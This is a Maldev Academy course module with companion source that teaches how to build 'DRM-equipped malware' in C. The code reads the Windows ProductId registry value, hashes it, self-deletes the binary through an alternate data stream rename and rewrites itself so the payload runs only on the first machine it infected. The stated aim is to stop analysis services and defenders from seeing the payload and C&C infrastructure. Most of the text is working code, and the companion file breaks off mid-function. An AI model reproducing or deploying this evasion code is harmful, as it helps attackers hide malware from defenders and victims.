Building a DRM-equipped Malware
Throughout the Maldev Academy modules, various anti-analysis techniques have been demonstrated. These techniques assess the legitimacy of a machine by examining its configuratio...
Jump to Section (16)
- Introduction
- DRM Implementation Logic
- Reading The Registry Key
- Reading The Binary Into Memory
- Self-Deleting The Binary
- Updating The FILE_RENAME_INFO Structure
- DeleteSelfFromDisk Function
- Verifying & Writing The Product ID's Hash Value
- Writing The Binary To Disk
- InitializeDrmMalware Function - Part One
- InitializeDrmMalware Function - Part Two
- InitializeDrmMalware Function - Complete Code
- The CompareMachineHash Function
- The Main Function
- Video Demo
- Conclusion
- Companion Source Code
Introduction
Throughout the Maldev Academy modules, various anti-analysis techniques have been demonstrated. These techniques assess the legitimacy of a machine by examining its configurations, settings, and other relevant factors. However, when these techniques are applied to malware scanning services like VirusTotal, F Secure scanner, or Any Run, their effectiveness might diminish since these services have implemented countermeasures to detect such anti-analysis approaches. This in turn will result in the malware executing and exposing the payload, C&C infrastructure and other information that should be kept hidden from defenders.
The effectiveness of anti-analysis techniques is generally high, but there remains a potential for failure. This can be particularly problematic in sensitive offensive security operations, where any failure can result in significant time and effort being wasted. One solution to address this concern is to employ a more targeted approach in the anti-analysis technique by incorporating specific machine-related elements such as usernames, versions, IP addresses, etc. This ensures that the malware runs exclusively on a designated machine, preventing the execution of the payload on malware analysis platforms like VirusTotal.
An alternative solution, which is the focus of this module, is the implementation of Digital Rights Management or DRM into the malware. By incorporating DRM, the malware will modify itself to ensure that it exclusively executes on the current machine. Therefore, DRM-equipped malware can effectively control its execution and evade detection on foreign machines.
DRM Implementation Logic
Implementing DRM into malware is a complex task and therefore the implementation steps are outlined at a high level below.
1. The malware runs for the first time on any machine.
2.The malware reads the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId registry key value and calculates its hash value. 3. The malware then reads its local binary from the disk and stores it in memory.
4.The malware will then self-delete its binary from the disk.
5.The malware then inserts the ProductId hash value into the previously read binary.
6. The new binary is written back to the disk.
7. Upon subsequent execution, the malware will read the same registry key and compare its hash value, if it matches, then the malware is still running on the same
- machine.
The above steps are illustrated in the following image:

Each step will now be discussed in more detail in the following sections.
Reading The Registry Key
The initial step involves finding a unique identifier within the machine. Several options exist for a unique identifier; however, in this module's case, it will be derived from the Product ID of the machine. The Product ID can be found in the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId registry key. Additionally, once the Product ID's value is fetched, it will undergo hashing using the Djb2 hashing algorithm.

The ReadProductIDFromReg function shown below takes two output parameters:
ppAddressToReadToReturns the registry key's value.pdwBytesReadReturns the registry key's size.
For a refresher on interacting with registry keys, review the Payload Staging Windows Registry module.
#define SUB_KEY L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"
#define KEY_VALUE L"ProductId"
BOOL ReadProductIDFromReg(OUT PVOID* ppAddressToReadTo, OUT PDWORD pdwBytesRead) {
PVOID pBuffer = NULL;
DWORD dwBytesRead = 0x00;
LSTATUS STATUS = 0x00;
if ((STATUS = RegGetValueW(HKEY_LOCAL_MACHINE, SUB_KEY, KEY_VALUE, RRF_RT_ANY, NULL, NULL, &dwBytesRead)) != ERROR_SUCCESS) {
printf("[!] RegGetValueW [1] Failed With Error : %d\n", STATUS);
goto _FUNC_CLEANUP;
}
pBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwBytesRead);
if (!pBuffer) {
REPORT_ERROR(TEXT("HeapAlloc"), _FUNC_CLEANUP);
}
if ((STATUS = RegGetValueW(HKEY_LOCAL_MACHINE, SUB_KEY, KEY_VALUE, RRF_RT_ANY, NULL, pBuffer, &dwBytesRead)) != ERROR_SUCCESS) {
printf("[!] RegGetValueW [2] Failed With Error : %d\n", STATUS);
goto _FUNC_CLEANUP;
}
*pdwBytesRead = dwBytesRead;
*ppAddressToReadTo = pBuffer;
_FUNC_CLEANUP:
if (pBuffer && !*ppAddressToReadTo)
HeapFree(GetProcessHeap(), 0x00, pBuffer);
return *ppAddressToReadTo == NULL ? FALSE : TRUE;
}The only new addition to the code that may be unfamiliar is the REPORT_ERROR macro. This macro simply prints the value of the GetLastError WinAPI and then executes a goto statement. This macro will be used by other functions in this module.
#define REPORT_ERROR(szApiName, _GOTO) \
printf("[!] \"%ws\" Failed With Error: %d \n", szApiName, GetLastError()); \
goto _GOTO;Reading The Binary Into Memory
Reading the implementation's binary from the disk is a straightforward process, similar to reading any other file. However, there's an important point to consider. Since the binary is already in use (loaded into memory for execution), one must open the binary's file handle with the FILE_SHARE_READ flag. If this flag is not set during the CreateFile call, it will result in a ERROR_ACCESS_DENIED error code.
To read the local binary, use the ReadSelfFromDisk function provided below. This function requires three parameters:
szLocalImageNameThis represents the name of the binary to be read.pModuleAn output parameter that will return the binary's data.pdwFileSizeAnother output parameter that will return the size of the binary.
BOOL ReadSelfFromDisk(IN LPWSTR szLocalImageName, OUT ULONG_PTR* pModule, OUT DWORD* pdwFileSize) {
HANDLE hFile = INVALID_HANDLE_VALUE;
PBYTE pFileBuffer = NULL;
DWORD dwFileSize = 0x00,
dwNumberOfBytesRead = 0x00;
if ((hFile = CreateFileW(szLocalImageName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_
VALUE) {
REPORT_ERROR(TEXT("CreateFileW"), _FUNC_CLEANUP);
}
if ((dwFileSize = GetFileSize(hFile, NULL)) == INVALID_FILE_SIZE) {
REPORT_ERROR(TEXT("GetFileSize"), _FUNC_CLEANUP);
}
if ((pFileBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwFileSize)) == NULL) {
REPORT_ERROR(TEXT("HeapAlloc"), _FUNC_CLEANUP);
}
if (!ReadFile(hFile, pFileBuffer, dwFileSize, &dwNumberOfBytesRead, NULL) || dwFileSize != dwNumberOfBytesRead) {
REPORT_ERROR(TEXT("ReadFile"), _FUNC_CLEANUP);
}
*pModule = (ULONG_PTR)pFileBuffer;
*pdwFileSize = dwFileSize;
_FUNC_CLEANUP:
if (hFile != INVALID_HANDLE_VALUE)
CloseHandle(hFile);
if (!*pModule && pFileBuffer)
HeapFree(GetProcessHeap(), 0, pFileBuffer);
return *pModule == NULL ? FALSE : TRUE;
}Self-Deleting The Binary
The next step is to self-delete the binary from the machine. This is required since the previously read Product ID must be incorporated into the new malware binary. The concept of self-deletion was introduced in the Anti-Debugging Self-Deletion module.
Updating The FILE_RENAME_INFO Structure
One modification made to the self-deletion code is the manual definition of the FILE_RENAME_INFO structure. The only modified element in the new FILE_RENAME_INFO2 definition is FileName which was set to be a string of WCHAR. The new FILE_RENAME_INFO2 definition is shown below:
typedef struct _FILE_RENAME_INFO2 {
#if (_WIN32_WINNT >= _WIN32_WINNT_WIN10_RS1)
union {
BOOLEAN ReplaceIfExists;
DWORD Flags;
} DUMMYUNIONNAME;
#else
BOOLEAN ReplaceIfExists;
#endif
HANDLE RootDirectory;
DWORD FileNameLength;
WCHAR FileName[MAX_PATH]; // Instead of "WCHAR FileName[0]" (See FILE_RENAME_INFO's original documentation)
} FILE_RENAME_INFO2, * PFILE_RENAME_INFO2;DeleteSelfFromDisk Function
The DeleteSelfFromDisk function deletes the binary and requires one parameter, szFileName, being the local binary path to delete.
#define NEW_STREAM L":%x%x\x00"
BOOL DeleteSelfFromDisk(IN LPCWSTR szFileName) {
BOOL bResult = FALSE;
HANDLE hFile = INVALID_HANDLE_VALUE;
FILE_DISPOSITION_INFO DisposalInfo = { .DeleteFile = TRUE };
FILE_RENAME_INFO2 RenameInfo = { .FileNameLength = sizeof(NEW_STREAM), .ReplaceIfExists = FALSE, .RootDirectory = 0x00 };
swprintf(RenameInfo.FileName, MAX_PATH, NEW_STREAM, rand(), rand() * rand());
hFile = CreateFileW(szFileName, DELETE | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
REPORT_ERROR(TEXT("CreateFileW [R]"), _FUNC_CLEANUP)
}
if (!SetFileInformationByHandle(hFile, FileRenameInfo, &RenameInfo, sizeof(RenameInfo))) {
REPORT_ERROR(TEXT("SetFileInformationByHandle [R]"), _FUNC_CLEANUP)
}
CloseHandle(hFile);
hFile = CreateFileW(szFileName, DELETE | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
REPORT_ERROR(TEXT("CreateFileW [D]"), _FUNC_CLEANUP)
}
if (!SetFileInformationByHandle(hFile, FileDispositionInfo, &DisposalInfo, sizeof(DisposalInfo))) {
REPORT_ERROR(TEXT("SetFileInformationByHandle [D]"), _FUNC_CLEANUP)
}
bResult = TRUE;
_FUNC_CLEANUP:
if (hFile != INVALID_HANDLE_VALUE)
CloseHandle(hFile);
return bResult;
}Verifying & Writing The Product ID's Hash Value
The malware implementation has a constant global variable, g_MachineID, which acts as a placeholder buffer for the Product ID's hash value. The g_MachineID variable is defined as follows:
#define DEFAULT_HASH 0xAABBEEFF
CONST DWORD g_MachineID = DEFAULT_HASH;If the variable g_MachineID is set to the default value (0xAABBEEFF), it indicates that the implementation is running for the first time. In this case, the Product ID hash value should be computed and assigned to g_MachineID.
However, if g_MachineID has already been changed to a different value, the implementation needs to perform the following steps: calculate the Product ID's hash value of the current machine and compare it to the value of g_MachineID. If the hashes match, it implies that the binary is still running on the same machine. Otherwise, if the hashes are not equal, it suggests that the binary has been moved to a different machine, and the malware should terminate. The diagram below depicts this logic.

The InitializeDrmMalware function will be responsible for performing the previously mentioned steps. More on the InitializeDrmMalware function later.
Writing The Binary To Disk
The final step is to re-write the updated binary to the disk which is done using the WriteSelfToDisk function. WriteSelfToDisk takes three input parameters:
szLocalImageNameThe name of the new binary.pImageBaseThe data of the new binary.sImageSizeThe size of the new binary data.
BOOL WriteSelfToDisk(IN LPWSTR szLocalImageName, IN PVOID pImageBase, IN DWORD sImageSize) {
HANDLE hFile = INVALID_HANDLE_VALUE;
DWORD dwNumberOfBytesWritten = 0x00;
if ((hFile = CreateFileW(szLocalImageName, GENERIC_WRITE, NULL, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE) {
REPORT_ERROR(TEXT("CreateFileW"), _FUNC_CLEANUP)
}
if (!WriteFile(hFile, pImageBase, sImageSize, &dwNumberOfBytesWritten, NULL) || sImageSize != dwNumberOfBytesWritten) {
REPORT_ERROR(TEXT("WriteFile"), _FUNC_CLEANUP)
}
_FUNC_CLEANUP:
if (hFile != INVALID_HANDLE_VALUE)
CloseHandle(hFile);
return dwNumberOfBytesWritten == sImageSize ? TRUE : FALSE;
}InitializeDrmMalware Function - Part One
As mentioned earlier, the task of updating the g_MachineID variable in the new binary will be handled by the InitializeDrmMalware function. To accomplish this, the implementation proceeds with the following steps:
1. The function starts by locating the g_MachineID variable within the read binary data.
2.Next, the hash of the g_MachineID variable is calculated, and this value will replace the default value (DEFAULT_HASH or 0xAABBEEFF) of g_MachineID. 3. Since g_MachineID is defined as a constant variable, it resides in the .rdata section of the binary.
4.Following this, it searches for the .rdata section by retrieving the section headers.
5.A for-loop is then created within the InitializeDrmMalware function to compare every DWORD value in the .rdata section to the value of g_MachineID, which is equal
- to
0xAABBEEFF.
6. When the function identifies the matching value, representing the g_MachineID in the read image, it saves the offset to be used later for updating the value.
BOOL InitializeDrmMalware() {
// The function should not be called when g_MachineID's value is different that the default hash value
if (g_MachineID != DEFAULT_HASH)
return TRUE;
BOOL bResult = FALSE;
LPWSTR szLocalImage = NULL;
ULONG_PTR uModule = NULL;
DWORD dwFileSize = 0x00;
PIMAGE_NT_HEADERS pImgNtHdrs = NULL;
PIMAGE_SECTION_HEADER pImgSec = NULL;
DWORD dwOffsetOfMachineBuf = 0x00;
PDWORD pRdataSection = NULL;
LPWSTR szProductId = NULL;
DWORD dwNumberOfBytesRead = 0x00;
// Read local image
szLocalImage = (LPWSTR)(((PPEB)__readgsqword(0x60))->ProcessParameters->ImagePathName.Buffer);
if (!ReadSelfFromDisk(szLocalImage, &uModule, &dwFileSize))
goto _FUNC_CLEANUP;
// Get the Nt headers
pImgNtHdrs = uModule + ((PIMAGE_DOS_HEADER)uModule)->e_lfanew;
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
goto _FUNC_CLEANUP;
// Get the Section header
pImgSec = IMAGE_FIRST_SECTION(pImgNtHdrs);
for (DWORD i = 0; i < pImgNtHdrs->FileHeader.NumberOfSections; i++, pImgSec++){
// 'g_MachineID' is a read only variable (constant)
if (strcmp(".rdata", pImgSec->Name) == 0) {
// Calculate the start of the .rdata section
pRdataSection = (PDWORD)(uModule + pImgSec->PointerToRawData);
for (SIZE_T x = 0; x < pImgSec->SizeOfRawData; x += sizeof(DWORD)){
// Search each DWORD in .rdata
if (*(DWORD*)(pRdataSection + x) == g_MachineID) {
// When found, save index
// At this point g_MachineID is equal to 'DEFAULT_HASH'
dwOffsetOfMachineBuf = x;
break;
}
}
}
}
//
// Part Two ...
//
}InitializeDrmMalware Function - Part Two
The next part of the InitializeDrmMalware function focuses on creating a new binary that contains the updated unique hash value for the g_MachineID variable. Below are the details of this part:
1. The function checks if it was able to successfully retrieve the offset of the g_MachineID variable.
2.Once the offset is obtained, the function proceeds to call ReadProductIDFromReg to fetch the value of the ProductId key from the machine's registry. 3. With the fetched ProductId value, the function calculates the location of g_MachineID using its offset (dwOffsetOfMachineBuf). This allows the function to replace the
- original value of
g_MachineIDwith the hash of the registry key value, effectively updating it.
4.If all the above steps are executed successfully, the InitializeDrmMalware function then calls DeleteSelfFromDisk to remove the older implementation's image. 5.Finally, the function calls WriteSelfToDisk to write the new image, which holds the calculated hash value instead of the DEFAULT_HASH constant, to disk.
By following these steps, the InitializeDrmMalware function ensures that the g_MachineID variable is updated with a new unique hash value obtained from the machine's registry, and the updated binary is written back to disk, replacing the old one.
// If 'g_MachineID' is found in the image read
if (dwOffsetOfMachineBuf != 0x00) {
// Read the product ID of the machine
if (!ReadProductIDFromReg(&szProductId, &dwNumberOfBytesRead))
goto _FUNC_CLEANUP;
// Calculate the hash of the product ID and save it inside 'g_MachineID' of the read image
*(DWORD*)(pRdataSection + dwOffsetOfMachineBuf) = HashStringDjb2W(szProductId);
// Delete the image where 'g_MachineID' is DEFAULT_HASH
if (!DeleteSelfFromDisk(szLocalImage))
goto _FUNC_CLEANUP;
// Write the image with the new 'g_MachineID' value (Hash value of our product ID)
if (!WriteSelfToDisk(szLocalImage, uModule, dwFileSize))
goto _FUNC_CLEANUP;
bResult = TRUE;
}InitializeDrmMalware Function - Complete Code
The complete code for the InitializeDrmMalware function is shown below.
BOOL InitializeDrmMalware() {
// The function should not be called when g_MachineID's value is different that the default hash value
if (g_MachineID != DEFAULT_HASH)
return TRUE;
BOOL bResult = FALSE;
LPWSTR szLocalImage = NULL;
ULONG_PTR uModule = NULL;
DWORD dwFileSize = 0x00;
PIMAGE_NT_HEADERS pImgNtHdrs = NULL;
PIMAGE_SECTION_HEADER pImgSec = NULL;
DWORD dwOffsetOfMachineBuf = 0x00;
PDWORD pRdataSection = NULL;
LPWSTR szProductId = NULL;
DWORD dwNumberOfBytesRead = 0x00; // Read local image
szLocalImage = (LPWSTR)(((PPEB)__readgsqword(0x60))->ProcessParameters->ImagePathName.Buffer);
if (!ReadSelfFromDisk(szLocalImage, &uModule, &dwFileSize))
goto _FUNC_CLEANUP;
// Get the Nt headers
pImgNtHdrs = uModule + ((PIMAGE_DOS_HEADER)uModule)->e_lfanew;
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
goto _FUNC_CLEANUP;
// Get the Section header
pImgSec = IMAGE_FIRST_SECTION(pImgNtHdrs);
for (DWORD i = 0; i < pImgNtHdrs->FileHeader.NumberOfSections; i++, pImgSec++){
// 'g_MachineID' is a read only variable (constant)
if (strcmp(".rdata", pImgSec->Name) == 0) {
// Calculate the start of the .rdata section
pRdataSection = (PDWORD)(uModule + pImgSec->PointerToRawData);
for (SIZE_T x = 0; x < pImgSec->SizeOfRawData; x += sizeof(DWORD)){
// Search each DWORD in .rdata
if (*(DWORD*)(pRdataSection + x) == g_MachineID) {
// When found, save index
// At this point g_MachineID is equal to 'DEFAULT_HASH'
dwOffsetOfMachineBuf = x;
break;
}
}
}
}
// If 'g_MachineID' is found in the image read
if (dwOffsetOfMachineBuf != 0x00) {
// Read the product ID of the machine
if (!ReadProductIDFromReg(&szProductId, &dwNumberOfBytesRead))
goto _FUNC_CLEANUP;
// Calculate the hash of the product ID and save it inside 'g_MachineID' of the read image
*(DWORD*)(pRdataSection + dwOffsetOfMachineBuf) = HashStringDjb2W(szProductId);
// Delete the image where 'g_MachineID' is DEFAULT_HASH
if (!DeleteSelfFromDisk(szLocalImage))
goto _FUNC_CLEANUP;
// Write the image with the new 'g_MachineID' value (Hash value of our product ID)
if (!WriteSelfToDisk(szLocalImage, uModule, dwFileSize))
goto _FUNC_CLEANUP;
bResult = TRUE;
}_FUNC_CLEANUP:
if (uModule != NULL)
HeapFree(GetProcessHeap(), 0x00, uModule);
if (szProductId != NULL)
HeapFree(GetProcessHeap(), 0x00, szProductId);
return bResult;
}The CompareMachineHash Function
The CompareMachineHash function is called when the current value of g_MachineID is different from the DEFAULT_HASH. This condition indicates that the implementation has been executed at least once before. The purpose of the CompareMachineHash function is to determine whether the binary is running on the same machine it was initially executed on or if it has been copied or moved to another machine with a different ProductId value.
The CompareMachineHash function performs the following actions:
1. It starts by calling ReadProductIDFromReg to fetch the value of the current system's ProductId key from the registry.
2.Next, the function calculates the hash of the obtained ProductId value.
3. The calculated hash is then compared to the value of the g_MachineID variable.
4.If both the calculated hash and the g_MachineID value are equal, it implies that the binary is still running on the same machine where it was initially executed. This
- indicates that the
ProductIdvalue has not changed, and the execution continues accordingly.
5.However, if the calculated hash and the g_MachineID value are not equal, it implies that the binary has been copied or moved to another machine that has a different
ProductIdvalue. In this case, the function may decide to take appropriate actions, which may include termination or performing benign actions to hide the malicious intent of the binary.
By performing these steps, the CompareMachineHash function helps the implementation to validate whether it is running on the original machine or a different one based on the comparison of the ProductId hash with the stored g_MachineID value.
BOOL CompareMachineHash() {
BOOL bResult = FALSE;
LPWSTR szProductId = NULL;
DWORD dwNumberOfBytesRead = 0x00;
// The function should not be called when g_MachineID is equal to the default hash value
if (g_MachineID == DEFAULT_HASH)
return TRUE;
// Read the product ID of the machine
if (!ReadProductIDFromReg(&szProductId, &dwNumberOfBytesRead))
goto _FUNC_CLEANUP;
// Calculate the hash of the product ID, and compare it to the current hash
if (HashStringDjb2W(szProductId) != g_MachineID)
goto _FUNC_CLEANUP;
bResult = TRUE;
_FUNC_CLEANUP:
if (szProductId != NULL)
HeapFree(GetProcessHeap(), 0x00, szProductId);
return bResult;
}The Main Function
The main function will be relatively simple, only having to call two functions, InitializeDrmMalware and CompareMachineHash.
int main() {
// Hash is equal to the default value (program is not yet executed)
if (g_MachineID == DEFAULT_HASH) {
printf("[i] First Time Running, Intializing DRM Protection ... ");
// Update the image to contain the unique system hash
if (!InitializeDrmMalware())
return -1;
printf("[+] Done \n");
}
// The hash does not equal the default hash value
else {
printf("[i] Image Was Executed Before, Comparing Local Machine ID ... ");
// Check if the image is on the same system or not
if (CompareMachineHash())
printf("[+] Same Machine ID \n");
else {
printf("[!] Different Machine ID \n");
return -1; // Terminating
}
}
//
// Malware Code - Ex: Executing A C&C Payload
//
return 0;
}Video Demo

Conclusion
The DRM technique demonstrated in this module integrates several previously discussed anti-analysis techniques and further enhances them to create a complex yet effective anti-analysis technique.
Companion Project & Source Code
4 readable source/config files extracted directly from the archive
// @NUL0x4C | @mrd0x : MalDevAcademy
#include <Windows.h>
#include <winternl.h>
#include <stdio.h>
#pragma warning(disable: 4703)
#define DEFAULT_HASH 0xAABBEEFF
#define SUB_KEY L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"
#define KEY_VALUE L"ProductId"
#define NEW_STREAM L":%x%x\x00"
#define REPORT_ERROR(szApiName, _GOTO) \
printf("[!] \"%ws\" Failed With Error: %d \n", szApiName, GetLastError()); \
goto _GOTO;
//----------------------------------------------------------------------------------------------------------------------------------------------------------
typedef struct _FILE_RENAME_INFO2 {
#if (_WIN32_WINNT >= _WIN32_WINNT_WIN10_RS1)
union {
BOOLEAN ReplaceIfExists;
DWORD Flags;
} DUMMYUNIONNAME;
#else
BOOLEAN ReplaceIfExists;
#endif
HANDLE RootDirectory;
DWORD FileNameLength;
WCHAR FileName[MAX_PATH]; // Instead of "WCHAR FileName[0]" (See FILE_RENAME_INFO's original documentation)
} FILE_RENAME_INFO2, * PFILE_RENAME_INFO2;
//----------------------------------------------------------------------------------------------------------------------------------------------------------
// The machine hash
CONST DWORD g_MachineID = DEFAULT_HASH;
//----------------------------------------------------------------------------------------------------------------------------------------------------------
//https://github.com/vxunderground/VX-API/blob/main/VX-API/HashStringDjb2.cpp
DWORD HashStringDjb2W(IN LPCWSTR String){
ULONG Hash = 5381;
INT c = 0;
while (c = *String++)
Hash = ((Hash << 5) + Hash) + c;
return Hash;
}
//----------------------------------------------------------------------------------------------------------------------------------------------------------
// Read the 'ProductId' key from 'Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion'
// Output is saved into the parameters
BOOL ReadProductIDFromReg(OUT PVOID* ppAddressToReadTo, OUT PDWORD pdwBytesRead) {
PVOID pBuffer = NULL;
DWORD dwBytesRead = 0x00;
LSTATUS STATUS = 0x00;
if (!ppAddressToReadTo || !pdwBytesRead)
return FALSE;
if ((STATUS = RegGetValueW(HKEY_LOCAL_MACHINE, SUB_KEY, KEY_VALUE, RRF_RT_ANY, NULL, NULL, &dwBytesRead)) != ERROR_SUCCESS) {
printf("[!] RegGetValueW [1] Failed With Error : %d\n", STATUS);
goto _FUNC_CLEANUP;
}
pBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwBytesRead);
if (!pBuffer) {
REPORT_ERROR(TEXT("HeapAlloc"), _FUNC_CLEANUP);
}
if ((STATUS = RegGetValueW(HKEY_LOCAL_MACHINE, SUB_KEY, KEY_VALUE, RRF_RT_ANY, NULL, pBuffer, &dwBytesRead)) != ERROR_SUCCESS) {
printf("[!] RegGetValueW [2] Failed With Error : %d\n", STATUS);
goto _FUNC_CLEANUP;
}
*pdwBytesRead = dwBytesRead;
*ppAddressToReadTo = pBuffer;
_FUNC_CLEANUP:
if (pBuffer && !*ppAddressToReadTo)
HeapFree(GetProcessHeap(), 0x00, pBuffer);
return *ppAddressToReadTo == NULL ? FALSE : TRUE;
}
//----------------------------------------------------------------------------------------------------------------------------------------------------------
// Read the 'szLocalImageName' image from disk
// Output is saved into the parameters
BOOL ReadSelfFromDisk(IN LPWSTR szLocalImageName, OUT ULONG_PTR* pModule, OUT DWORD* pdwFileSize) {
HANDLE hFile = INVALID_HANDLE_VALUE;
PBYTE pFileBuffer = NULL;
DWORD dwFileSize = 0x00,
dwNumberOfBytesRead = 0x00;
if (!szLocalImageName || !pModule || !pdwFileSize)
return FALSE;
if ((hFile = CreateFileW(szLocalImageName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE) {
REPORT_ERROR(TEXT("CreateFileW"), _FUNC_CLEANUP)
}
if ((dwFileSize = GetFileSize(hFile, NULL)) == INVALID_FILE_SIZE) {
REPORT_ERROR(TEXT("GetFileSize"), _FUNC_CLEANUP)
}
if ((pFileBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwFileSize)) == NULL) {
REPORT_ERROR(TEXT("HeapAlloc"), _FUNC_CLEANUP)
}
if (!ReadFile(hFile, pFileBuffer, dwFileSize, &dwNumberOfBytesRead, NULL) || dwFileSize != dwNumberOfBytesRead) {
REPORT_ERROR(TEXT("ReadFile"), _FUNC_CLEANUP)
}
*pModule = (ULONG_PTR)pFileBuffer;
*pdwFileSize = dwFileSize;
_FUNC_CLEANUP:
if (hFile != INVALID_HANDLE_VALUE)
CloseHandle(hFile);
if (!*pModule && pFileBuffer)
HeapFree(GetProcessHeap(), 0, pFileBuffer);
return *pModule == NULL ? FALSE : TRUE;
}
//----------------------------------------------------------------------------------------------------------------------------------------------------------
// Delete 'szFileName' from disk
BOOL DeleteSelfFromDisk(IN LPCWSTR szFileName) {
BOOL bResult = FALSE;
HANDLE hFile = INVALID_HANDLE_VALUE;
FILE_DISPOSITION_INFO DisposalInfo = { .DeleteFile = TRUE };
FILE_RENAME_INFO2 RenameInfo = { .FileNameLength = sizeof(NEW_STREAM), .ReplaceIfExists = FALSE, .RootDirectory = 0x00 };
if (!szFileName)
return FALSE;
swprintf(RenameInfo.FileName, MAX_PATH, NEW_STREAM, rand(), rand() * rand());
hFile = CreateFileW(szFileName, DELETE | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
REPORT_ERROR(TEXT("CreateFileW [R]"), _FUNC_CLEANUP)
}
if (!SetFileInformationByHandle(hFile, FileRenameInfo, &RenameInfo, sizeof(RenameInfo))) {
REPORT_ERROR(TEXT("SetFileInformationByHandle [R]"), _FUNC_CLEANUP)
}
CloseHandle(hFile);
hFile = CreateFileW(szFileName, DELETE | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
REPORT_ERROR(TEXT("CreateFileW [D]"), _FUNC_CLEANUP)
}
if (!SetFileInformationByHandle(hFile, FileDispositionInfo, &DisposalInfo, sizeof(DisposalInfo))) {
REPORT_ERROR(TEXT("SetFileInformationByHandle [D]"), _FUNC_CLEANUP)
}
bResult = TRUE;
_FUNC_CLEANUP:
if (hFile != INVALID_HANDLE_VALUE)
CloseHandle(hFile);
return bResult;
}
//----------------------------------------------------------------------------------------------------------------------------------------------------------
// Write 'szLocalImageName' to disk
BOOL WriteSelfToDisk(IN LPWSTR szLocalImageName, IN PVOID pImageBase, IN DWORD sImageSize) {
HANDLE hFile = INVALID_HANDLE_VALUE;
DWORD dwNumberOfBytesWritten = 0x00;
if (!szLocalImageName || !pImageBase || !sImageSize)
return FALSE;
if ((hFile = CreateFileW(szLocalImageName, GENERIC_WRITE, NULL, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE) {
REPORT_ERROR(TEXT("CreateFileW"), _FUNC_CLEANUP)
}
if (!WriteFile(hFile, pImageBase, sImageSize, &dwNumberOfBytesWritten, NULL) || sImageSize != dwNumberOfBytesWritten) {
REPORT_ERROR(TEXT("WriteFile"), _FUNC_CLEANUP)
}
_FUNC_CLEANUP:
if (hFile != INVALID_HANDLE_VALUE)
CloseHandle(hFile);
return dwNumberOfBytesWritten == sImageSize ? TRUE : FALSE;
}
//----------------------------------------------------------------------------------------------------------------------------------------------------------
// Create a hash for the current machine and save it using the 'g_MachineID' global variable
BOOL InitializeDrmMalware() {
// The function should not be called when g_MachineID's value is different that the default hash value
if (g_MachineID != DEFAULT_HASH)
return TRUE;
BOOL bResult = FALSE;
LPWSTR szLocalImage = NULL;
ULONG_PTR uModule = NULL;
DWORD dwFileSize = 0x00;
PIMAGE_NT_HEADERS pImgNtHdrs = NULL;
PIMAGE_SECTION_HEADER pImgSec = NULL;
DWORD dwOffsetOfMachineBuf = 0x00;
PDWORD pRdataSection = NULL;
LPWSTR szProductId = NULL;
DWORD dwNumberOfBytesRead = 0x00;
// Read local image
szLocalImage = (LPWSTR)(((PPEB)__readgsqword(0x60))->ProcessParameters->ImagePathName.Buffer);
if (!ReadSelfFromDisk(szLocalImage, &uModule, &dwFileSize))
goto _FUNC_CLEANUP;
// Get the Nt headers
pImgNtHdrs = uModule + ((PIMAGE_DOS_HEADER)uModule)->e_lfanew;
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
goto _FUNC_CLEANUP;
// Get the Section header
pImgSec = IMAGE_FIRST_SECTION(pImgNtHdrs);
for (DWORD i = 0; i < pImgNtHdrs->FileHeader.NumberOfSections; i++, pImgSec++){
// 'g_MachineID' is a read only variable (constant)
if (strcmp(".rdata", pImgSec->Name) == 0) {
// Calculate the start of the .rdata section
pRdataSection = (PDWORD)(uModule + pImgSec->PointerToRawData);
for (SIZE_T x = 0; x < pImgSec->SizeOfRawData; x += sizeof(DWORD)){
// Search each DWORD in .rdata
if (*(DWORD*)(pRdataSection + x) == g_MachineID) {
// When found, save index
// At this point g_MachineID is equal to 'DEFAULT_HASH'
dwOffsetOfMachineBuf = x;
break;
}
}
}
}
// If 'g_MachineID' is found in the image read
if (dwOffsetOfMachineBuf != 0x00) {
// Read the product ID of the machine
if (!ReadProductIDFromReg(&szProductId, &dwNumberOfBytesRead))
goto _FUNC_CLEANUP;
// Calculate the hash of the product ID and save it inside 'g_MachineID' of the read image
*(DWORD*)(pRdataSection + dwOffsetOfMachineBuf) = HashStringDjb2W(szProductId);
// Delete the image where 'g_MachineID' is DEFAULT_HASH
if (!DeleteSelfFromDisk(szLocalImage))
goto _FUNC_CLEANUP;
// Write the image with the new 'g_MachineID' value (Hash value of our product ID)
if (!WriteSelfToDisk(szLocalImage, uModule, dwFileSize))
goto _FUNC_CLEANUP;
bResult = TRUE;
}
_FUNC_CLEANUP:
if (uModule != NULL)
HeapFree(GetProcessHeap(), 0x00, uModule);
if (szProductId != NULL)
HeapFree(GetProcessHeap(), 0x00, szProductId);
return bResult;
}
//----------------------------------------------------------------------------------------------------------------------------------------------------------
BOOL CompareMachineHash() {
